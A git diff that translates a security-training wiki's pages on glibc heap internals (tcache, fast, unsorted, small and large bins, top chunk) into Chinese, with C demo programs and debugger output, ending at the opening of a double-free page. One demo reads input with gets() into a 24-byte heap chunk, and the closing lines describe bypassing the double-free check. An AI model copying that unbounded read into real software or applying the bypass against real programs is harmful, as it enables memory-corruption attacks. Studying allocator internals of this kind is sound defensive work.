+victim = _int_malloc (ar_ptr, bytes);
+if (!victim && ar_ptr != NULL)
+{
+ar_ptr = arena_get_retry (ar_ptr, bytes);
+victim = _int_malloc (ar_ptr, bytes);
+}
- if (ar_ptr != NULL)
- __libc_lock_unlock (ar_ptr->mutex);
+if (ar_ptr != NULL)
+__libc_lock_unlock (ar_ptr->mutex);
- /* In a low memory situation, we may not be able to allocate memory
- - in which case, we just keep trying later. However, we
- typically do this very early, so either there is sufficient
- memory, or there isn't enough memory to do non-trivial
- allocations anyway. */
- if (victim)
- {
- tcache = (tcache_perthread_struct *) victim;
- memset (tcache, 0, sizeof (tcache_perthread_struct));
- }
+/* In a low memory situation, we may not be able to allocate memory
+- in which case, we just keep trying later. However, we
+typically do this very early, so either there is sufficient
+memory, or there isn't enough memory to do non-trivial
+allocations anyway. */
+if (victim)
+{
+tcache = (tcache_perthread_struct *) victim;
+memset (tcache, 0, sizeof (tcache_perthread_struct));
+}
}
```
-
-#### Tcache Indexes
+#### Tcache 索引
-The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
+Tcache 有几个 bins,具体取决于大小和指向 **每个索引第一个块的初始指针以及每个索引的块数量位于一个块内部**。这意味着通过这些信息(通常是第一个)定位块,可以找到所有 tcache 初始点和 Tcache 块的数量。
-### Fast bins
+### 快速 bins
-Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
+快速 bins 旨在 **加速小块的内存分配**,通过将最近释放的块保存在快速访问结构中。这些 bins 使用后进先出(LIFO)方法,这意味着 **最近释放的块是第一个** 在有新的分配请求时被重用。这种行为在速度上是有利的,因为从栈顶(LIFO)插入和移除比从队列(FIFO)更快。
-Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
+此外,**快速 bins 使用单链表**,而不是双链表,这进一步提高了速度。由于快速 bins 中的块不会与邻居合并,因此不需要复杂的结构来允许从中间移除。单链表在这些操作中更简单、更快。
-Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
+基本上,这里发生的事情是,头部(指向第一个要检查的块的指针)始终指向该大小的最新释放块。因此:
-- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
-- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
+- 当分配一个该大小的新块时,头部指向一个可用的空闲块。由于这个空闲块指向下一个要使用的块,这个地址被存储在头部,以便下一个分配知道在哪里获取可用块
+- 当一个块被释放时,空闲块将保存当前可用块的地址,而这个新释放块的地址将放入头部
-The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
+链表的最大大小为 `0x80`,它们的组织方式是,大小为 `0x20` 的块将位于索引 `0`,大小为 `0x30` 的块将位于索引 `1`...
> [!CAUTION]
-> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
-
+> 快速 bins 中的块未被设置为可用,因此它们会在一段时间内保持为快速 bin 块,而不是能够与周围的其他空闲块合并。
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
- Fastbins
+Fastbins
- An array of lists holding recently freed small chunks. Fastbins
- are not doubly linked. It is faster to single-link them, and
- since chunks are never removed from the middles of these lists,
- double linking is not necessary. Also, unlike regular bins, they
- are not even processed in FIFO order (they use faster LIFO) since
- ordering doesn't much matter in the transient contexts in which
- fastbins are normally used.
+An array of lists holding recently freed small chunks. Fastbins
+are not doubly linked. It is faster to single-link them, and
+since chunks are never removed from the middles of these lists,
+double linking is not necessary. Also, unlike regular bins, they
+are not even processed in FIFO order (they use faster LIFO) since
+ordering doesn't much matter in the transient contexts in which
+fastbins are normally used.
- Chunks in fastbins keep their inuse bit set, so they cannot
- be consolidated with other free chunks. malloc_consolidate
- releases all chunks in fastbins and consolidates them with
- other free chunks.
- */
+Chunks in fastbins keep their inuse bit set, so they cannot
+be consolidated with other free chunks. malloc_consolidate
+releases all chunks in fastbins and consolidates them with
+other free chunks.
+*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
- ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
+((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
-
-Add a fastbin chunk example
-
+添加一个 fastbin 块示例
```c
#include
#include
int main(void)
{
- char *chunks[8];
- int i;
+char *chunks[8];
+int i;
- // Loop to allocate memory 8 times
- for (i = 0; i < 8; i++) {
- chunks[i] = malloc(24);
- if (chunks[i] == NULL) { // Check if malloc failed
- fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
- return 1;
- }
- printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
- }
+// Loop to allocate memory 8 times
+for (i = 0; i < 8; i++) {
+chunks[i] = malloc(24);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
+}
- // Loop to free the allocated memory
- for (i = 0; i < 8; i++) {
- free(chunks[i]);
- }
+// Loop to free the allocated memory
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
- return 0;
+return 0;
}
```
+注意我们如何分配和释放8个相同大小的块,以便它们填满tcache,第八个块存储在快速块中。
-Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
-
-Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
-
+编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,一个块在快速bin中:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
-
-### Unsorted bin
+### 未排序的堆
-The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
+未排序的堆是一个 **缓存**,由堆管理器用于加快内存分配。其工作原理如下:当程序释放一个块时,如果该块无法在 tcache 或快速堆中分配,并且与顶部块不冲突,堆管理器不会立即将其放入特定的小或大堆中。相反,它首先尝试 **与任何相邻的空闲块合并**,以创建一个更大的空闲内存块。然后,它将这个新块放入一个称为“未排序堆”的通用堆中。
-When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
+当程序 **请求内存** 时,堆管理器 **检查未排序堆** 以查看是否有足够大小的块。如果找到一个,它会立即使用。如果在未排序堆中找不到合适的块,它会将此列表中的所有块移动到相应的堆中,基于它们的大小,分为小堆或大堆。
-Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
+请注意,如果一个较大的块被分成两半,并且其余部分大于 MINSIZE,它将被放回未排序堆中。
-So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
+因此,未排序堆是一种通过快速重用最近释放的内存来加速内存分配的方法,从而减少耗时的搜索和合并的需要。
> [!CAUTION]
-> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
+> 请注意,即使块属于不同类别,如果一个可用块与另一个可用块发生冲突(即使它们最初属于不同的堆),它们也会被合并。
-Add a unsorted chunk example
-
+添加一个未排序块示例
```c
#include
#include
int main(void)
{
- char *chunks[9];
- int i;
+char *chunks[9];
+int i;
- // Loop to allocate memory 8 times
- for (i = 0; i < 9; i++) {
- chunks[i] = malloc(0x100);
- if (chunks[i] == NULL) { // Check if malloc failed
- fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
- return 1;
- }
- printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
- }
+// Loop to allocate memory 8 times
+for (i = 0; i < 9; i++) {
+chunks[i] = malloc(0x100);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
+}
- // Loop to free the allocated memory
- for (i = 0; i < 8; i++) {
- free(chunks[i]);
- }
+// Loop to free the allocated memory
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
- return 0;
+return 0;
}
```
+注意我们如何分配和释放9个相同大小的块,以便它们**填充tcache**,而第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,而第九个块没有被释放,因此第九个和第八个**不会与顶部块合并**。
-Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
-
-Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
-
+编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,且一个块在未排序的bin中:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
- → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
-
-### Small Bins
+### 小型桶
-Small bins are faster than large bins but slower than fast bins.
+小型桶比大型桶快,但比快速桶慢。
-Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
+62个桶中的每个桶将具有**相同大小的块**:16、24,...(在32位中最大大小为504字节,在64位中为1024字节)。这有助于加快查找应分配空间的桶以及在这些列表中插入和删除条目的速度。
-This is how the size of the small bin is calculated according to the index of the bin:
-
-- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
-- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
+小型桶的大小是根据桶的索引计算的:
+- 最小大小:2\*4\*index(例如,索引5 -> 40)
+- 最大大小:2\*8\*index(例如,索引5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
- ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
+((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
- ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
- + SMALLBIN_CORRECTION)
+((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
++ SMALLBIN_CORRECTION)
```
-
-Function to choose between small and large bins:
-
+选择小型和大型内存池的函数:
```c
#define bin_index(sz) \
- ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
+((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
-
-Add a small chunk example
-
+添加一个小块示例
```c
#include
#include
int main(void)
{
- char *chunks[10];
- int i;
+char *chunks[10];
+int i;
- // Loop to allocate memory 8 times
- for (i = 0; i < 9; i++) {
- chunks[i] = malloc(0x100);
- if (chunks[i] == NULL) { // Check if malloc failed
- fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
- return 1;
- }
- printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
- }
+// Loop to allocate memory 8 times
+for (i = 0; i < 9; i++) {
+chunks[i] = malloc(0x100);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
+}
- // Loop to free the allocated memory
- for (i = 0; i < 8; i++) {
- free(chunks[i]);
- }
+// Loop to free the allocated memory
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
- chunks[9] = malloc(0x110);
+chunks[9] = malloc(0x110);
- return 0;
+return 0;
}
```
+注意我们如何分配和释放9个相同大小的块,以便它们**填充tcache**,而第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,而第九个块没有被释放,因此第九个和第八个**不会与顶部块合并**。然后我们分配一个更大的块0x110,这使得**未排序bin中的块进入小bin**。
-Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
-
-Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
-
+编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,并且一个块在小bin中:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
- → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
-
-### Large bins
+### 大型桶
-Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
+与管理固定大小块的小型桶不同,每个**大型桶处理一系列块大小**。这更灵活,允许系统容纳**各种大小**,而无需为每个大小单独设置一个桶。
-In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
+在内存分配器中,大型桶从小型桶结束的地方开始。大型桶的范围逐渐增大,这意味着第一个桶可能覆盖从512到576字节的块,而下一个覆盖从576到640字节的块。这个模式持续下去,最大的桶包含所有超过1MB的块。
-Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
+与小型桶相比,大型桶的操作速度较慢,因为它们必须**对不同块大小的列表进行排序和搜索,以找到最佳适配**进行分配。当一个块被插入到大型桶中时,它必须被排序,而当内存被分配时,系统必须找到合适的块。这额外的工作使它们**速度较慢**,但由于大型分配不如小型分配常见,这是一种可接受的权衡。
-There are:
+有:
-- 32 bins of 64B range (collide with small bins)
-- 16 bins of 512B range (collide with small bins)
-- 8bins of 4096B range (part collide with small bins)
-- 4bins of 32768B range
-- 2bins of 262144B range
-- 1bin for remaining sizes
+- 32个64B范围的桶(与小型桶冲突)
+- 16个512B范围的桶(与小型桶冲突)
+- 8个4096B范围的桶(部分与小型桶冲突)
+- 4个32768B范围的桶
+- 2个262144B范围的桶
+- 1个用于剩余大小的桶
-Large bin sizes code
-
+大型桶大小代码
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
- (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
- ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
- ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
- ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
- ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
- 126)
+(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
#define largebin_index_32_big(sz) \
- (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
- ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
- ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
- ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
- ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
- 126)
+(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
- (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
- ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
- ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
- ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
- ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
- 126)
+(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
#define largebin_index(sz) \
- (SIZE_SZ == 8 ? largebin_index_64 (sz) \
- : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
- : largebin_index_32 (sz))
+(SIZE_SZ == 8 ? largebin_index_64 (sz) \
+: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
+: largebin_index_32 (sz))
```
-
-Add a large chunk example
-
+添加一个大块示例
```c
#include
#include
int main(void)
{
- char *chunks[2];
+char *chunks[2];
- chunks[0] = malloc(0x1500);
- chunks[1] = malloc(0x1500);
- free(chunks[0]);
- chunks[0] = malloc(0x2000);
+chunks[0] = malloc(0x1500);
+chunks[1] = malloc(0x1500);
+free(chunks[0]);
+chunks[0] = malloc(0x2000);
- return 0;
+return 0;
}
```
+进行两个大分配,然后释放一个(将其放入未排序的桶中),并进行更大的分配(将释放的分配从未排序的桶移动到大桶中)。
-2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
-
-Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
-
+编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache桶已满,并且一个块在大桶中:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
- → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
-
-### Top Chunk
-
+### 顶部块
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
- Top
+Top
- The top-most available chunk (i.e., the one bordering the end of
- available memory) is treated specially. It is never included in
- any bin, is used only if no other chunk is available, and is
- released back to the system if it is very large (see
- M_TRIM_THRESHOLD). Because top initially
- points to its own bin with initial zero size, thus forcing
- extension on the first malloc request, we avoid having any special
- code in malloc to check whether it even exists yet. But we still
- need to do so when getting memory from system, so we make
- initial_top treat the bin as a legal but unusable chunk during the
- interval between initialization and the first call to
- sysmalloc. (This is somewhat delicate, since it relies on
- the 2 preceding words to be zero during this interval as well.)
- */
+The top-most available chunk (i.e., the one bordering the end of
+available memory) is treated specially. It is never included in
+any bin, is used only if no other chunk is available, and is
+released back to the system if it is very large (see
+M_TRIM_THRESHOLD). Because top initially
+points to its own bin with initial zero size, thus forcing
+extension on the first malloc request, we avoid having any special
+code in malloc to check whether it even exists yet. But we still
+need to do so when getting memory from system, so we make
+initial_top treat the bin as a legal but unusable chunk during the
+interval between initialization and the first call to
+sysmalloc. (This is somewhat delicate, since it relies on
+the 2 preceding words to be zero during this interval as well.)
+*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
+基本上,这是一个包含所有当前可用堆的块。当执行 malloc 时,如果没有可用的空闲块可供使用,这个顶块将会减少其大小以提供必要的空间。\
+指向顶块的指针存储在 `malloc_state` 结构中。
-Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
-The pointer to the Top Chunk is stored in the `malloc_state` struct.
-
-Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
+此外,在开始时,可以将未排序块用作顶块。
-Observe the Top Chunk example
-
+观察顶块示例
```c
#include
#include
int main(void)
{
- char *chunk;
- chunk = malloc(24);
- printf("Address of the chunk: %p\n", (void *)chunk);
- gets(chunk);
- return 0;
+char *chunk;
+chunk = malloc(24);
+printf("Address of the chunk: %p\n", (void *)chunk);
+gets(chunk);
+return 0;
}
```
-
-After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
-
+在编译并在 `main` 的 `ret` 操作码处调试时,我看到 malloc 返回了地址 `0xaaaaaaac12a0`,这些是块:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
- [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
+[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
- [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
+[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
- [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
+[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
- [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
+[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
-
-Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
-It's also possible to see the length of the Top chunk on its chunk header:
-
+可以看到顶部块位于地址 `0xaaaaaaac1ae0`。这并不奇怪,因为最后分配的块在 `0xaaaaaaac12a0`,大小为 `0x410`,并且 `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`。\
+还可以在其块头中看到顶部块的长度:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
-
-### Last Remainder
+### 最后剩余
-When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
+当使用 malloc 并且一个块被分割(例如,从未排序的 bin 或从顶部块),从分割块的其余部分创建的块称为最后剩余,其指针存储在 `malloc_state` 结构中。
-## Allocation Flow
+## 分配流程
-Check out:
+查看:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
-## Free Flow
+## 释放流程
-Check out:
+查看:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
-## Heap Functions Security Checks
+## 堆函数安全检查
-Check the security checks performed by heavily used functions in heap in:
+检查堆中被广泛使用的函数执行的安全检查:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
-## References
+## 参考文献
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md
index a30116d58..275878b17 100644
--- a/src/binary-exploitation/libc-heap/double-free.md
+++ b/src/binary-exploitation/libc-heap/double-free.md
@@ -2,91 +2,89 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
